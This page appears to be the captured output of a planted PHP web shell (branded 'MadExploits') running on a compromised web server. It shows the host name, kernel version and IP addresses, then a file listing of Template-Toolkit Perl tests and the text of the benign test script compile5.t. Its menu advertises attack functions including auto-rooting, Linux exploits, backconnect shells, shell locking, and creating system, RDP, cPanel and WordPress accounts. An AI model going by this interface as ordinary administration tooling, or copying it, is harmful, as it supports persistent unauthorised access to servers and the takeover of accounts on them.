Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 216.73.216.92
46 Domain
7.2.34
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
.cpanplus /
5.16.3 /
build /
Template-Toolkit-3.009 /
t /
[ HOME SHELL ]
Name
Size
Permission
Action
lib
[ DIR ]
drwxr-xr-x
test
[ DIR ]
drwxr-xr-x
vmethods
[ DIR ]
drwxr-xr-x
README
3.15
KB
-rw-r--r--
anycase.t
2.16
KB
-rw-r--r--
args.t
2.41
KB
-rw-r--r--
assert.t
2.53
KB
-rw-r--r--
base.t
3.58
KB
-rw-r--r--
binop.t
4.82
KB
-rw-r--r--
block.t
2.71
KB
-rw-r--r--
block_duplicate.t
476
B
-rw-r--r--
blocks.t
2.2
KB
-rw-r--r--
capture.t
1.59
KB
-rw-r--r--
case.t
1.46
KB
-rw-r--r--
cgi.t
2.11
KB
-rw-r--r--
chomp.t
7.71
KB
-rw-r--r--
compile1.t
2.12
KB
-rw-r--r--
compile2.t
2.67
KB
-rw-r--r--
compile3.t
3.75
KB
-rw-r--r--
compile4.t
2.38
KB
-rw-r--r--
compile5.t
3.28
KB
-rw-r--r--
config.t
6.46
KB
-rw-r--r--
constants.t
5.07
KB
-rw-r--r--
context.t
5.87
KB
-rw-r--r--
datafile.t
1.63
KB
-rw-r--r--
date.t
6.73
KB
-rw-r--r--
date_offset.t
2.17
KB
-rw-r--r--
debug.t
3.86
KB
-rw-r--r--
directive.t
4.76
KB
-rw-r--r--
directry.t
5.48
KB
-rw-r--r--
document.t
3.57
KB
-rw-r--r--
dumper.t
1.34
KB
-rw-r--r--
error.t
953
B
-rw-r--r--
evalperl.t
3.73
KB
-rw-r--r--
exception.t
1.52
KB
-rw-r--r--
factory.t
1.4
KB
-rw-r--r--
file.t
2.87
KB
-rw-r--r--
fileline.t
2.96
KB
-rw-r--r--
filter.t
17.76
KB
-rw-r--r--
foreach.t
10.32
KB
-rw-r--r--
format.t
1.8
KB
-rw-r--r--
html.t
2.51
KB
-rw-r--r--
image.t
2.22
KB
-rw-r--r--
include.t
6.04
KB
-rw-r--r--
iterator.t
3.67
KB
-rw-r--r--
leak.t
5.01
KB
-rw-r--r--
list.t
4.41
KB
-rw-r--r--
macro.t
2.93
KB
-rw-r--r--
math.t
1.22
KB
-rw-r--r--
math_rand.t
476
B
-rw-r--r--
mtime-zero.t
1.04
KB
-rw-r--r--
object.t
7.23
KB
-rw-r--r--
outline.t
2.29
KB
-rw-r--r--
output.t
2.66
KB
-rw-r--r--
parser.t
4.74
KB
-rw-r--r--
parser2.t
981
B
-rw-r--r--
plugins.t
6.12
KB
-rw-r--r--
plusfile.t
1.91
KB
-rw-r--r--
pod.t
2.05
KB
-rw-r--r--
prefix.t
1.46
KB
-rw-r--r--
proc.t
867
B
-rw-r--r--
process-relative.t
2.05
KB
-rw-r--r--
process.t
1.88
KB
-rw-r--r--
process_dir.t
1.84
KB
-rw-r--r--
provider.t
11.08
KB
-rw-r--r--
ref.t
1.63
KB
-rw-r--r--
scalar.t
2.56
KB
-rw-r--r--
service.t
5.07
KB
-rw-r--r--
skel.t
947
B
-rw-r--r--
stash-xs-unicode.t
1.83
KB
-rw-r--r--
stash-xs.t
8.23
KB
-rw-r--r--
stash.t
7.91
KB
-rw-r--r--
stashc.t
1.6
KB
-rw-r--r--
stop.t
2.53
KB
-rw-r--r--
strcat.t
758
B
-rw-r--r--
strict.t
1.52
KB
-rw-r--r--
string.t
7.38
KB
-rw-r--r--
switch.t
3.83
KB
-rw-r--r--
table.t
2.68
KB
-rw-r--r--
tags.t
3.43
KB
-rw-r--r--
template.t
1.49
KB
-rw-r--r--
text.t
2.89
KB
-rw-r--r--
throw.t
1.94
KB
-rw-r--r--
tiedhash.t
5.09
KB
-rw-r--r--
trace_vars.t
1.11
KB
-rw-r--r--
try.t
9.83
KB
-rw-r--r--
unicode.t
4.55
KB
-rw-r--r--
url.t
4.08
KB
-rw-r--r--
vars.t
11.36
KB
-rw-r--r--
varsv1.t
8.96
KB
-rw-r--r--
view.t
17.43
KB
-rw-r--r--
while.t
3.18
KB
-rw-r--r--
wrap.t
2.65
KB
-rw-r--r--
wrapper.t
3.95
KB
-rw-r--r--
zz-plugin-cycle.t
1.36
KB
-rw-r--r--
zz-plugin-leak-gh-213.t
2.77
KB
-rw-r--r--
zz-plugin-leak-rt-46691.t
2.95
KB
-rw-r--r--
zz-plugin-leak.t
2.02
KB
-rw-r--r--
zz-pmv.t
1.15
KB
-rw-r--r--
zz-pod-coverage.t
1.64
KB
-rw-r--r--
zz-pod-kwalitee.t
776
B
-rw-r--r--
zz-stash-xs-leak.t
1.59
KB
-rw-r--r--
zz-url2.t
3.72
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : compile5.t
#============================================================= -*-perl-*- # # t/compile5.t # # Test that the compiled template files written by compile4.t can be # loaded and used. Similar to compile2.t but using COMPILE_DIR as well # as COMPILE_EXT. # # Written by Andy Wardley <abw@wardley.org> # # Copyright (C) 1996-2000 Andy Wardley. All Rights Reserved. # Copyright (C) 1998-2000 Canon Research Centre Europe Ltd. # # This is free software; you can redistribute it and/or modify it # under the same terms as Perl itself. # # $Id$ # #======================================================================== use strict; use warnings; use lib qw( ./lib ../lib ); use Template::Test; use Cwd qw( abs_path ); use File::Path; my @dir = -d 't' ? qw(t test) : qw(test); my $dir = abs_path( File::Spec->catfile(@dir) ); my $tdir = abs_path( File::Spec->catfile(@dir, 'tmp')); my $cdir = File::Spec->catfile($tdir, 'cache'); my $zero = File::Spec->catfile($dir, qw(src divisionbyzero)); print "zero: $zero\n"; #my $dir = abs_path( -d 't' ? 't/test' : 'test' ); #my $cdir = abs_path("$dir/tmp") . "/cache"; #my $zero = "$cdir/src/divisionbyzero"; my $ttcfg = { POST_CHOMP => 1, INCLUDE_PATH => "$dir/src", COMPILE_DIR => "$cdir/", # note trailing slash - should be handled OK COMPILE_EXT => '.ttc', ABSOLUTE => 1, CONSTANTS => { dir => $dir, zero => $zero, }, }; #print " # check compiled template files exist my $fixdir = $dir; $fixdir =~ s[:][]g if $^O eq 'MSWin32'; my ($foo, $bar, $blam) = map { "$cdir/$fixdir/src/$_.ttc" } qw( foo complex blam ); $blam =~ s[/+][/]g; ok( -f $foo, 'cached foo' ); ok( -f $bar, 'cached bar' ); ok( -f $blam, 'cached blam' ); # we're going to hack on the compiled 'foo' file to change some key text. # this way we can tell that the template was loaded from the compiled # version and not the source. my @foo_times = (stat $foo)[8,9]; open(FOO, '<', $foo) || die "$foo: $!\n"; local $/ = undef; my $content = <FOO>; close(FOO); $content =~ s/the foo file/the newly hacked foo file/; open(FOO, ">", $foo) || die "$foo: $!\n"; print FOO $content; close(FOO); # and set back utime( @foo_times, $foo ); # same again for 'blam' my @blam_times = (stat $blam)[8,9]; open(BLAM, '<', $blam) || die "$blam: $!\n"; local $/ = undef; $content = <BLAM>; close(BLAM); $content =~ s/blam/wam-bam/g; open(BLAM, ">", $blam) || die "$blam: $!\n"; print BLAM $content; close(BLAM); # and set back utime( @blam_times, $blam ); test_expect(\*DATA, $ttcfg, { root => abs_path($dir) } ); exit; # cleanup cache directory rmtree($cdir) if -d $cdir; __DATA__ -- test -- [% INCLUDE foo a = 'any value' %] -- expect -- This is the newly hacked foo file, a is any value -- test -- [% META author => 'billg' version => 6.66 %] [% INCLUDE complex %] -- expect -- This is the header, title: Yet Another Template Test This is a more complex file which includes some BLOCK definitions This is the footer, author: billg, version: 6.66 - 3 - 2 - 1 -- test -- [% INCLUDE "$root/src/blam" %] -- expect -- This is the wam-bam file -- test -- [%- # second pass, reads the compiled code from cache -%] [% INCLUDE divisionbyzero -%] -- expect -- -- process -- undef error - Illegal division by zero at [% constants.zero %] line 1, <DATA> chunk 1.
Close
